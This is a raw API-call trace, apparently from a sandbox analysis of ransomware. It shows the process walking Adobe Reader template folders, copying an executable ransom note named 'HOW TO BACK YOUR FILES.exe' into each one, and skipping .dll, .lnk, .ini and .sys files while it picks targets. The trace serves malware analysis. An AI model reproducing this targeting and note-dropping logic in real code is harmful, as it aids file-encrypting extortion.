	[0060.254] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HRV", cAlternateFileName="")) returned 1
	[0060.254] lstrcmpiW (lpString1="HRV", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.254] lstrcmpiW (lpString1="HRV", lpString2="Apollon865.txt.exe") returned 1
	[0060.254] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="HRV" | out: lpString1="HRV") returned="HRV"
	[0060.254] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0060.254] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bfb40
	[0060.254] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7bd0
	[0060.254] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HUN", cAlternateFileName="")) returned 1
	[0060.254] lstrcmpiW (lpString1="HUN", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.255] lstrcmpiW (lpString1="HUN", lpString2="Apollon865.txt.exe") returned 1
	[0060.255] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="HUN" | out: lpString1="HUN") returned="HUN"
	[0060.255] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0060.255] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bfbc8
	[0060.255] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c30 | out: ListHead=0x5b76b0, ListEntry=0x5b7c30) returned 0x5b7ab0
	[0060.255] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ITA", cAlternateFileName="")) returned 1
	[0060.255] lstrcmpiW (lpString1="ITA", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.255] lstrcmpiW (lpString1="ITA", lpString2="Apollon865.txt.exe") returned 1
	[0060.255] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="ITA" | out: lpString1="ITA") returned="ITA"
	[0060.255] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0060.255] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bfc50
	[0060.255] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7c30
	[0060.255] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JPN", cAlternateFileName="")) returned 1
	[0060.255] lstrcmpiW (lpString1="JPN", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.255] lstrcmpiW (lpString1="JPN", lpString2="Apollon865.txt.exe") returned 1
	[0060.255] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="JPN" | out: lpString1="JPN") returned="JPN"
	[0060.255] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7be8
	[0060.255] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bfcd8
	[0060.255] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bf0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bf0) returned 0x5b7ad0
	[0060.255] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KOR", cAlternateFileName="")) returned 1
	[0060.255] lstrcmpiW (lpString1="KOR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.255] lstrcmpiW (lpString1="KOR", lpString2="Apollon865.txt.exe") returned 1
	[0060.255] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="KOR" | out: lpString1="KOR") returned="KOR"
	[0060.255] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0060.255] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bfd60
	[0060.255] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7bf0
	[0060.255] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NLD", cAlternateFileName="")) returned 1
	[0060.255] lstrcmpiW (lpString1="NLD", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.255] lstrcmpiW (lpString1="NLD", lpString2="Apollon865.txt.exe") returned 1
	[0060.255] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="NLD" | out: lpString1="NLD") returned="NLD"
	[0060.255] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ca8
	[0060.256] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bfde8
	[0060.256] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7cb0 | out: ListHead=0x5b76b0, ListEntry=0x5b7cb0) returned 0x5b7c50
	[0060.256] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NOR", cAlternateFileName="")) returned 1
	[0060.256] lstrcmpiW (lpString1="NOR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.256] lstrcmpiW (lpString1="NOR", lpString2="Apollon865.txt.exe") returned 1
	[0060.256] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="NOR" | out: lpString1="NOR") returned="NOR"
	[0060.256] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0060.256] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bfe70
	[0060.256] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7cb0
	[0060.256] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="POL", cAlternateFileName="")) returned 1
	[0060.256] lstrcmpiW (lpString1="POL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.256] lstrcmpiW (lpString1="POL", lpString2="Apollon865.txt.exe") returned 1
	[0060.256] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="POL" | out: lpString1="POL") returned="POL"
	[0060.256] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0060.256] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bfef8
	[0060.256] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c90 | out: ListHead=0x5b76b0, ListEntry=0x5b7c90) returned 0x5b7af0
	[0060.256] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PTB", cAlternateFileName="")) returned 1
	[0060.256] lstrcmpiW (lpString1="PTB", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.256] lstrcmpiW (lpString1="PTB", lpString2="Apollon865.txt.exe") returned 1
	[0060.256] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="PTB" | out: lpString1="PTB") returned="PTB"
	[0060.256] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c08
	[0060.256] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bf568
	[0060.256] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c10 | out: ListHead=0x5b76b0, ListEntry=0x5b7c10) returned 0x5b7c90
	[0060.256] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RUM", cAlternateFileName="")) returned 1
	[0060.256] lstrcmpiW (lpString1="RUM", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.256] lstrcmpiW (lpString1="RUM", lpString2="Apollon865.txt.exe") returned 1
	[0060.256] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="RUM" | out: lpString1="RUM") returned="RUM"
	[0060.256] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc28
	[0060.256] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bff80
	[0060.256] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc30 | out: ListHead=0x5b76b0, ListEntry=0x59fc30) returned 0x5b7c10
	[0060.257] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RUS", cAlternateFileName="")) returned 1
	[0060.257] lstrcmpiW (lpString1="RUS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.257] lstrcmpiW (lpString1="RUS", lpString2="Apollon865.txt.exe") returned 1
	[0060.257] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="RUS" | out: lpString1="RUS") returned="RUS"
	[0060.257] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc48
	[0060.257] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5c0008
	[0060.257] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc50 | out: ListHead=0x5b76b0, ListEntry=0x59fc50) returned 0x59fc30
	[0060.257] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SKY", cAlternateFileName="")) returned 1
	[0060.257] lstrcmpiW (lpString1="SKY", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.257] lstrcmpiW (lpString1="SKY", lpString2="Apollon865.txt.exe") returned 1
	[0060.257] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="SKY" | out: lpString1="SKY") returned="SKY"
	[0060.257] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc68
	[0060.257] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5c0090
	[0060.257] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc70 | out: ListHead=0x5b76b0, ListEntry=0x59fc70) returned 0x59fc50
	[0060.257] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SLV", cAlternateFileName="")) returned 1
	[0060.257] lstrcmpiW (lpString1="SLV", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.257] lstrcmpiW (lpString1="SLV", lpString2="Apollon865.txt.exe") returned 1
	[0060.257] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="SLV" | out: lpString1="SLV") returned="SLV"
	[0060.257] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd68
	[0060.257] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5c0118
	[0060.257] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd70 | out: ListHead=0x5b76b0, ListEntry=0x59fd70) returned 0x59fc70
	[0060.257] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SUO", cAlternateFileName="")) returned 1
	[0060.257] lstrcmpiW (lpString1="SUO", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.257] lstrcmpiW (lpString1="SUO", lpString2="Apollon865.txt.exe") returned 1
	[0060.257] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="SUO" | out: lpString1="SUO") returned="SUO"
	[0060.257] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd88
	[0060.257] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5c01a0
	[0060.257] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd90 | out: ListHead=0x5b76b0, ListEntry=0x59fd90) returned 0x59fd70
	[0060.257] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80600540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80600540, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SVE", cAlternateFileName="")) returned 1
	[0060.258] lstrcmpiW (lpString1="SVE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.258] lstrcmpiW (lpString1="SVE", lpString2="Apollon865.txt.exe") returned 1
	[0060.258] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="SVE" | out: lpString1="SVE") returned="SVE"
	[0060.258] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd48
	[0060.258] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5c0228
	[0060.258] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd50 | out: ListHead=0x5b76b0, ListEntry=0x59fd50) returned 0x59fd90
	[0060.258] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x809de900, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TUR", cAlternateFileName="")) returned 1
	[0060.258] lstrcmpiW (lpString1="TUR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.258] lstrcmpiW (lpString1="TUR", lpString2="Apollon865.txt.exe") returned 1
	[0060.258] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="TUR" | out: lpString1="TUR") returned="TUR"
	[0060.258] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc08
	[0060.258] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5c02b0
	[0060.258] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc10 | out: ListHead=0x5b76b0, ListEntry=0x59fc10) returned 0x59fd50
	[0060.258] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80861b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x809de900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x809de900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UKR", cAlternateFileName="")) returned 1
	[0060.258] lstrcmpiW (lpString1="UKR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.258] lstrcmpiW (lpString1="UKR", lpString2="Apollon865.txt.exe") returned 1
	[0060.258] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="UKR" | out: lpString1="UKR") returned="UKR"
	[0060.258] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fcc8
	[0060.258] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5c0338
	[0060.258] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcd0 | out: ListHead=0x5b76b0, ListEntry=0x59fcd0) returned 0x59fc10
	[0060.258] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80861b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x809de900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x809de900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UKR", cAlternateFileName="")) returned 0
	[0060.258] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0060.258] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fcd0
	[0060.258] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR"
	[0060.258] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c0338 | out: hHeap=0x580000) returned 1
	[0060.258] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fcc8 | out: hHeap=0x580000) returned 1
	[0060.258] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR") returned 63
	[0060.258] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR"
	[0060.259] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.259] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.267] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.267] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80861b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3bfcf230, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3bfcf230, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.267] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.267] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.267] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="AdobeID.pdf" | out: lpString1="AdobeID.pdf") returned="AdobeID.pdf"
	[0060.267] lstrlenW (lpString="AdobeID.pdf") returned 11
	[0060.267] lstrlenW (lpString="Apollon865") returned 10
	[0060.268] lstrcmpiW (lpString1="dobeID.pdf", lpString2="Apollon865") returned 1
	[0060.268] lstrlenW (lpString=".dll") returned 4
	[0060.268] lstrcmpiW (lpString1="AdobeID.pdf", lpString2=".dll") returned 1
	[0060.268] lstrlenW (lpString=".lnk") returned 4
	[0060.268] lstrcmpiW (lpString1="AdobeID.pdf", lpString2=".lnk") returned 1
	[0060.268] lstrlenW (lpString=".ini") returned 4
	[0060.268] lstrcmpiW (lpString1="AdobeID.pdf", lpString2=".ini") returned 1
	[0060.268] lstrlenW (lpString=".sys") returned 4
	[0060.268] lstrcmpiW (lpString1="AdobeID.pdf", lpString2=".sys") returned 1
	[0060.268] lstrlenW (lpString="AdobeID.pdf") returned 11
	[0060.268] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="DefaultID.pdf" | out: lpString1="DefaultID.pdf") returned="DefaultID.pdf"
	[0060.268] lstrlenW (lpString="DefaultID.pdf") returned 13
	[0060.268] lstrlenW (lpString="Apollon865") returned 10
	[0060.268] lstrcmpiW (lpString1="aultID.pdf", lpString2="Apollon865") returned 1
	[0060.268] lstrlenW (lpString=".dll") returned 4
	[0060.268] lstrcmpiW (lpString1="DefaultID.pdf", lpString2=".dll") returned 1
	[0060.268] lstrlenW (lpString=".lnk") returned 4
	[0060.268] lstrcmpiW (lpString1="DefaultID.pdf", lpString2=".lnk") returned 1
	[0060.268] lstrlenW (lpString=".ini") returned 4
	[0060.268] lstrcmpiW (lpString1="DefaultID.pdf", lpString2=".ini") returned 1
	[0060.268] lstrlenW (lpString=".sys") returned 4
	[0060.268] lstrcmpiW (lpString1="DefaultID.pdf", lpString2=".sys") returned 1
	[0060.268] lstrlenW (lpString="DefaultID.pdf") returned 13
	[0060.268] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR"
	[0060.268] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c02b0 | out: hHeap=0x580000) returned 1
	[0060.268] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc08 | out: hHeap=0x580000) returned 1
	[0060.268] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR") returned 63
